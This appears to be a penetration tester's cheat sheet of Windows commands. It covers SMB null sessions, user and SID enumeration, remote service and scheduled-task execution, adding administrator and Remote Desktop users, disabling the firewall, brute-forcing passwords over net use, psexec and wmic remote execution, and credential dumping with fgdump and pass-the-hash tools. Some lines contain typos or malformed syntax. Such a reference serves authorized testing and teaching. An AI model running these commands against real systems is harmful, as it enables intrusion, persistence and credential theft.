Windows Commands

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  • Types of record: NS, A, HINFO, MX, TXT, CNAME, SOA, RP, PTR, SRV
nslookup <site>
  • Interactive mode:
> [name or ip]
> server [server ip]
> set type=any
> ls -d [target_domain] [> filename]
> view [filename]
  • No recurse:
> set norecurse
> set recurse




  • -d -- don't resolve names
  • -h <N> -- max number of hops (default 30)
  • -j <hostlist> -- use loose source routing
  • -w <N> -- wait for Nms before timing out (default 4000)

SMB session

Establishing a null session

net use \\<target> "" /u:""

Establishing an authenticated session

net use \\<target> <password> /u:<username>

Mount a share

net use * \\<target>\<share> <password> /u:<username>
net use * \\<target>\<share> <password> /u:<machinename>\<username>
net use * \\<target>\c$ <password> /u:<username>

Dropping SMB sessions

net use \\<target> /del

Dropping all SMB sessions (bad idea)

net use * /del

Pulling credentials (w/ SMB session)

Pulling credentials

enum -U <target>
enum -G <target>


  • Outputs in the form S-X-Y-target_sid-RID
user2sid \\<target> <machine_name>


  • Requires spaces instead of dashes
sid2user \\<target> 5 <target_sid> <N>
for /L %i in (1000, 1, 1050) do @sid2user \\<target> 5 <target_sid> %i


Finding client-side programs

dir /s "c:\Program Files"
dir /s /b "c:\Program Files\*.exe"

Service interaction

List running services

sc query

List all services

sc query state= all

List all service names

sc query state= all | find "SERVICE_NAME"

Query service information

sc query <servicename>
sc qc <servicename>

Start a service

sc config <servicename> start= demand
sc start <servicename>

Starting telnet

sc query tlntsvr
sc config tlntsvr start= demand
sc start tlntsvr

Starting terminal services

sc query termservice
sc config termservice start= demand
sc start termservice

Using sc to invoke an executable

net use \\<target> <password> /u:<username>
sc \\<target> create <name> binpath= <command>
sc \\<target> start <name>

Making that service invoke another executable

sc \\<target> <name> create binpath= "cmd.exe /k <command>"


Finding environmental variables


Finding a specific variable

set <variable>
echo %<variable>%
set username
set path
set systemroot
echo %systemroot%
cd %systemroot%

Users and groups

Listing users

net user

Creating a user

net user <username> <password> /add

Listing groups

net localgroup

Creating a group

net localgroup <groupname> /add

Adding a user to a group

net localgroup <groupname> <username> /add

Adding a user to the telnet users group

net user <username> <password> /add
net localgroup TelnetClients /add
net localgroup TelnetClients <username> /add

Adding a user to the terminal services group

net localgroup "Remote Desktop Users" <username> /add

List administrators

net localgroup administrators

Add an administrator

net user <username> %lt;password> /add
net localgroup administrators <username> /add

Remove a user from a group

net localgroup <group> <username> /del

Delete a user

net user <username> /del

Firewall interaction


netsh /?

Show config

netsh firewall show config

Open a specific port

netsh firewall add portopening protocol = <TCP|UDP> port = <port> name = <comment> scope = custom addresses = <address/CIDR>

Remove the port opening

netsh firewall del portopening protocol = <TCP|UDP> port = <port>

Disable the firewall completely (bad idea)

netsh firewall set opmode disable

Opening the firewall for telnet

netsh firewall add portopening protocol = TCP port = 23 name = telnet mode = enable scope = custom addresses = <address>

Opening the firewall for terminal services

netsh firewall set service type = remotedesktop mode = enable scope = custom addresses = <address>

Opening the firewall for SSH

netsh firewall add portopening protocol = TCP port = 22 name = sshd mode = enable scope = custom addresses = <address>

Registry interaction

Query a key

reg query <keyname>

Adding a key

reg add <keyname> /v <valuename> /t <type> /d <data>

Export data

reg export <keyname> <filename.reg>

Import data

reg import <filename.reg>

Enabling terminal services

reg add "hklm\system\currentcontrolset\control\terminal server" /v fdenytsconnections /t reg_dword /d 0


Finding a port

netstat -an | find "<port>"


Dump the DNS cache

ipconfig /displaydns


Dump the ARP cache

arp -a


/L loop

for /L %i in (<start>,<step>,<stop>) do <command>


for /L %i in (1,1,255) do @echo %i

Ping scanning

for /L %i in (1,1,255) do @echo 10.10.10.%i & @ping -n 5 10.10.10.%i | find "Reply"

DNS bruteforce

for /L %i in (1,1,255) do @nslookup 10.10.10.%i 2>nul | find "Name" && echo 10.10.10.%i

/F loop

for /F ["<options>"] %i in (<stuff>) do <command>

Looping through passwords

for /F %i in (password.lst) do @echo %i & @net use \\<target> %i /u:<username> 2>nul && pause

Portscanning from a file

for /F %i in (ports.txt) do @nc -n -vv -w3 %i


Using psexec (sysinternals)

  • -s to run as system
  • -c to copy the program to the target first
  • -d to run in "detached" mode (no console)
psexec \\<target> -d -u <user> -p <password> <command>


Starting the scheduler service

net use \\<target> <password> <username>
sc [\\<target>] query schedule
sc [\\<target>] start schedule

Scheduling with at:

at [\\<target>] <HH:MM><A|P> <command>

Scheduling with schtasks

schtasks /create /tn <taskname> /s <target> /u <user> /p <password> /sc <frequency> /st <starttime> /sd <startdate> /tr <command>


Running a program

wmic /node:<target> /user:<username> /password:<password> process call create <command>

List processes

wmic /node:<target> /user:<username> /password:<password> process list brief
wmic /node:<target> /user:<username> /password:<password> process where processid="<pid>" delete
wmic /node:<target> /user:<username> /password:<password> process where name="<name>" delete


Account lockout

Info on Windows accounts

net accounts
net accounts /domain



  • -c -- don't get cached credentials
  • -h <target>
  • -u <username>
fgdump -c -h <target> -u <username>

Pass-the-hash toolkit (psh-toolkit)

Trend finally noticed/deleted these programs, so I don't have their parameters handy

  • whosthere-exe
  • genhash.exe
  • iam.exe

Helpful hints


Download a file as anonymous

ftp -A -s:ftp-script.txt <host>

The script

get <file>

An even better script, that grabs everything in the base directory

mget .